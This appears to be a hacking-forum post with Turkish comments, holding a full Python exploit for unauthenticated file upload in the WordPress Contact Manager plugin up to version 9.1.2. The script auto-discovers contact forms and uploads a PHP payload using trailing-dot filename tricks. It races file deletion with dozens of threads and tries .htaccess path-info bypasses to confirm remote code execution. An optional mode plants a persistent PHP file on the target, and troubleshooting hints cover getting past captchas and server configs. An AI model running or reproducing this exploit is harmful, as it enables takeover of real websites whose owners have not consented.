-
root
dijital dinozor
Python:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Contact Manager <= 9.1.2 (WordPress) - Unauthenticated Arbitrary File Upload
Trailing-dot bypass + unlink() race + .htaccess path-info bypass + $_FILES key abuse
SPYHACKERZ.ORG AI EXP
Bu sürümde yapılan son iyileştirmeler:
* extract_required: <select>/<option> parse, type=file self-exclusion.
* attempt_race: 3 wire-name varyantı (shell.php. / shell.php.. / shell.php. )
aynı hammer penceresinde sırayla denenir (double-dot / trailing-space için).
* fieldless modda unauthorized_extension flag'i farklı yorumlanır.
* Captcha tespiti: POST yanıtında recaptcha/hcaptcha/captcha görülürse
troubleshooting mesajı öncelikli basılır.
"""
import argparse
import re
import sys
import time
import threading
import uuid
from urllib.parse import urljoin
import requests
from requests.adapters import HTTPAdapter
DEFAULT_PAYLOAD = b'<?php echo "CM_POC_OK_".md5("cm912")."|".__FILE__; ?>'
MARKER = "CM_POC_OK_"
ERROR_PATTERNS = {
"unauthorized_extension": re.compile(r'unauthorized[_ ]?extension|extension\s+not\s+allowed', re.I),
"failed_upload": re.compile(r'failed[_ ]?upload|upload\s+failed', re.I),
}
CAPTCHA_PATTERN = re.compile(r'(recaptcha|hcaptcha|g-recaptcha|grecaptcha|cf-turnstile|captcha)', re.I)
# trailing-dot + double-dot + trailing-space; hepsi sanitize sonrası aynı diske düşer
WIRE_SUFFIXES = [".", "..", ". "]
def make_session(pool=4):
s = requests.Session()
adapter = HTTPAdapter(pool_connections=pool, pool_maxsize=pool, max_retries=0)
s.mount("http://", adapter)
s.mount("https://", adapter)
s.headers.update({"User-Agent": "Mozilla/5.0"})
return s
def make_persist_payload():
return (
'<?php '
'$m="CM_POC_OK_".md5("cm912"); echo $m."|".__FILE__; '
'$dst=dirname(dirname(__FILE__))."/cm_persist_".md5("cm912").".php"; '
'if(@copy(__FILE__,$dst)) echo "|PERSISTED:".$dst; '
'else echo "|PERSIST_FAILED"; ?>'
).encode()
def autofill_value(field):
f = field.lower()
if "email" in f: return "[email protected]"
if "phone" in f or "tel" in f: return "5551234567"
if "first" in f or f == "name": return "test"
if "last" in f: return "user"
if "subject" in f: return "test"
if "message" in f or "comment" in f or "content" in f: return "test"
if "url" in f or "website" in f: return "http://example.com"
if "number" in f or "age" in f or "qty" in f: return "1"
return "test"
def extract_required(html, form_id, file_field=None):
"""required text/textarea + required select (ilk <option value>)."""
req = {}
# input / textarea
for tag in re.findall(r'<(?:input|textarea)\b[^>]*>', html, re.I | re.S):
nm = re.search(r'name=["\']contact_form(\d+)_([a-z0-9_]+)["\']', tag, re.I)
if not nm or int(nm.group(1)) != form_id:
continue
if not re.search(r'\brequired\b', tag, re.I):
continue
if re.search(r'type=["\']file["\']', tag, re.I):
continue # file alanı required olsa da data değil files'a gider
field = nm.group(2)
if field == "submit" or (file_field and field == file_field):
continue
req[field] = autofill_value(field)
# select -> ilk option value
for m in re.finditer(r'<select\b([^>]*)>(.*?)</select>', html, re.I | re.S):
attrs, body = m.group(1), m.group(2)
if not re.search(r'\brequired\b', attrs, re.I):
continue
nm = re.search(r'name=["\']contact_form(\d+)_([a-z0-9_]+)["\']', attrs, re.I)
if not nm or int(nm.group(1)) != form_id:
continue
field = nm.group(2)
if field == "submit" or (file_field and field == file_field):
continue
opt = re.search(r'<option[^>]*value=["\']([^"\']*)["\']', body, re.I)
req[field] = opt.group(1) if opt else "test"
return req
def detect_captcha(html):
return bool(CAPTCHA_PATTERN.search(html or ""))
def discover_forms(base, timeout, extra_paths, max_pages=20):
"""[(form_id, field_name, page_url, required_auto, has_captcha), ...]"""
hits, seen = [], set()
queue = [base.rstrip("/") + p for p in ["/"] + list(extra_paths)]
fetched, scanned = set(), 0
session = make_session(4)
try:
while queue and scanned < max_pages:
url = queue.pop(0)
if url in fetched:
continue
fetched.add(url)
try:
html = session.get(url, timeout=timeout, allow_redirects=True).text
except Exception:
continue
scanned += 1
page_hits, page_captcha = [], detect_captcha(html)
for pat in (
r'name=["\']contact_form(\d+)_([a-z0-9_]+)["\'][^>]*?type=["\']file["\']',
r'type=["\']file["\'][^>]*?name=["\']contact_form(\d+)_([a-z0-9_]+)["\']',
):
for m in re.finditer(pat, html, re.I | re.S):
key = (int(m.group(1)), m.group(2))
if key in seen:
continue
seen.add(key)
req = extract_required(html, key[0], file_field=key[1])
page_hits.append((key, url, req))
if page_hits:
for (fid, fld), u, req in page_hits:
hits.append((fid, fld, u, req, page_captcha))
return hits
for m in re.finditer(r'href=["\']([^"\']+)["\']', html, re.I):
href = m.group(1)
if re.search(r'(contact|iletisim|iletis|form)', href, re.I):
full = urljoin(url, href)
if full.startswith(base.rstrip("/")) and full not in fetched:
queue.append(full)
finally:
session.close()
return hits
def attempt_race(base, form_id, file_key, payload_bytes, temp_path,
token, ext, threads, timeout, extra_fields, submit_url, grace):
root = base.rstrip("/") + "/" + temp_path.strip("/") + "/"
basenames = [f"{token}{suf}" for suf in [""] + [f"-{i}" for i in range(1, 6)]]
candidates = []
for bn in basenames:
candidates.append(root + f"{bn}.{ext}")
candidates.append(root + f"{bn}.{ext}/x") # path-info
candidates.append(root + f"{bn}.{ext}/x.{ext}") # path-info pseudo-ext
threads = max(threads, len(candidates))
per_url = max(1, threads // len(candidates))
stop = threading.Event()
found = {"url": None, "content": None}
lock = threading.Lock()
def hammer(url):
session = make_session(4)
try:
while not stop.is_set():
try:
r = session.get(url, timeout=timeout, allow_redirects=False)
if r.status_code == 200 and MARKER.encode() in r.content:
with lock:
if found["url"] is None:
found["url"] = url
found["content"] = r.content
stop.set()
return
except Exception:
pass
finally:
session.close()
workers = []
for u in candidates:
for _ in range(per_url):
t = threading.Thread(target=hammer, args=(u,), daemon=True)
t.start()
workers.append(t)
time.sleep(0.25) # keep-alive ısınması
prefix = f"contact_form{form_id}_" if form_id is not None else ""
base_data = {}
for k, v in extra_fields.items():
base_data[prefix + k] = v
if form_id is not None:
base_data[prefix + "submit"] = "yes"
base_data["referring_url"] = "/"
responses, total_dur = [], 0.0
post_session = make_session(4)
try:
for suffix in WIRE_SUFFIXES:
if stop.is_set():
break
wire_name = f"{token}.{ext}{suffix}"
files = {file_key: (wire_name, payload_bytes, "application/octet-stream")}
t0 = time.time()
try:
resp = post_session.post(submit_url, files=files, data=base_data,
timeout=timeout, allow_redirects=True)
responses.append(resp.text)
except Exception as e:
responses.append("")
print(f" [!] POST ({wire_name!r}) failed: {e}")
total_dur += time.time() - t0
# kısa nefes: bir sonraki varyantın POST'u da aynı pencerede
if not stop.is_set():
time.sleep(grace * 0.25)
finally:
post_session.close()
time.sleep(grace)
stop.set()
for w in workers:
w.join(timeout=timeout + 2)
return found, "\n---\n".join(responses), total_dur
def main():
ap = argparse.ArgumentParser()
ap.add_argument("target", help="https://target")
ap.add_argument("--form-id", type=int, default=None,
help="form id; --fieldless ile de kullanılmalı (validation prefix için)")
ap.add_argument("--field", default=None)
ap.add_argument("--fieldless", action="store_true")
ap.add_argument("--submit-url", default=None)
ap.add_argument("--temp-path", default="/wp-content/uploads/temp")
ap.add_argument("--payload-file", default=None)
ap.add_argument("--persist", action="store_true")
ap.add_argument("--extensions", nargs="+", default=["php", "phtml", "pht"])
ap.add_argument("--threads", type=int, default=40)
ap.add_argument("--attempts", type=int, default=1)
ap.add_argument("--grace", type=float, default=1.0)
ap.add_argument("--timeout", type=float, default=15.0)
ap.add_argument("--discover-paths", nargs="*", default=[])
ap.add_argument("--name", default=None)
ap.add_argument("--extra", action="append", default=[])
args = ap.parse_args()
base = args.target.rstrip("/")
if args.persist:
payload = make_persist_payload()
elif args.payload_file:
with open(args.payload_file, "rb") as f:
payload = f.read()
else:
payload = DEFAULT_PAYLOAD
form_id, field_name, submit_url = args.form_id, args.field, args.submit_url
required_auto, page_captcha = {}, False
if form_id is None:
print("[*] Discovering forms ...")
hits = discover_forms(base, args.timeout, args.discover_paths)
if not hits:
if args.fieldless:
print("[!] --fieldless requires a form prefix for validation;")
print(" discovery failed and --form-id not set. Pass --form-id <N>.")
else:
print("[!] No form found. Pass --form-id (+ --field or --fieldless).")
sys.exit(1)
form_id, disc_field, found_url, required_auto, page_captcha = hits[0]
if field_name is None and not args.fieldless:
field_name = disc_field
if not submit_url:
submit_url = found_url
print(f"[+] Form: id={form_id} disc_field={disc_field} @ {found_url}")
if required_auto:
print(f"[+] auto-fill required: {sorted(required_auto)}")
if page_captcha:
print("[!] sayfa captcha içeriyor; validasyon geçmezse bu ilk şüpheli")
if not submit_url:
submit_url = base + "/"
safe_name = re.sub(r'[^a-zA-Z0-9_-]', '', args.name) if args.name else "poc"
if args.fieldless or field_name is None:
file_key = f"poc{uuid.uuid4().hex[:8]}"
mode = "fieldless"
else:
file_key = (f"contact_form{form_id}_" + field_name) if form_id is not None else field_name
mode = f"field({file_key})"
print(f"[*] POST -> {submit_url}")
print(f"[*] file key: {mode}")
print(f"[*] extensions: {args.extensions} threads>={args.threads} attempts={args.attempts}")
print(f"[*] wire variants per attempt: {len(WIRE_SUFFIXES)}")
extra = dict(required_auto)
for kv in args.extra:
k, _, v = kv.partition("=")
extra[k] = v
ok = False
for ext in args.extensions:
for _ in range(args.attempts):
token = f"{safe_name}{uuid.uuid4().hex[:8]}"
print(f"[*] attempt ext={ext} name={token}")
found, resp_text, dur = attempt_race(
base, form_id, file_key, payload, args.temp_path,
token, ext, args.threads, args.timeout, extra, submit_url, args.grace,
)
if found["url"]:
print(f"[OK] RCE confirmed (~{dur:.2f}s window): {found['url']}")
body = found["content"].decode("utf-8", "ignore").strip()
print(" " + body[:400])
if args.persist and "PERSISTED:" in body:
path = body.split("PERSISTED:", 1)[1].split("|", 1)[0].strip()
print(f"[*] cleanup: rm '{path}' (hedefte)")
ok = True
break
snippet = (resp_text or "").strip().replace("\n", " ")[:200]
print(f"[x] no hit (upload {dur:.2f}s). response: {snippet!r}")
flagged = {n: bool(p.search(resp_text)) for n, p in ERROR_PATTERNS.items()}
if flagged.get("unauthorized_extension"):
if args.fieldless:
print(" [!] fieldless modda unauthorized_extension -> sunucu tarafı")
print(" blacklist geniş; tüm wire varyantları denendi")
print(" (.php. / .php.. / .php. ). Sunucu bunları da yakalıyorsa")
print(" trailing-dot ailesi tıkalı; farklı bir vektör gerekir.")
else:
print(" [!] unauthorized_extension -> --fieldless dene (form whitelist'i atlar)")
if flagged.get("failed_upload") and not flagged.get("unauthorized_extension"):
print(" [!] failed_upload -> required alanlar veya nonce eksik olabilir")
if detect_captcha(resp_text):
print(" [!] yanıtta captcha görünüyor; form validasyonu geçmiyor")
print(" pencere hiç açılmıyor olabilir")
if ok:
break
if not ok:
print("[!] Race did not land. Öncelik sırası:")
print(" 1) POST yanıtı formu tekrar basıyor mu? (validasyon) -> --extra ile required doldur")
print(" + captcha varsa bu yol kapalı; başka endpoint gerekir")
print(" 2) --form-id / --submit-url doğru mu; --temp-path wp-content/uploads/temp mi")
print(" 3) Windows target: NTFS trailing dot'u siler -> race gerekmez; tek GET")
print(" temp/<token>.php başarıyı doğrular")
print(" 4) Apache + .htaccess: path-info /x varyantları denendi; hâlâ 403 ise")
print(" --extensions phtml pht php5 ile tekrar (bazı config'lerde .phtml çalışır)")
print(" 5) --threads 40-60, --attempts 3, --grace 0.4 ile yeniden dene")
return 1
return 0
if __name__ == "__main__":
sys.exit(main())
🔒 Bu içeriği görmek için giriş yapın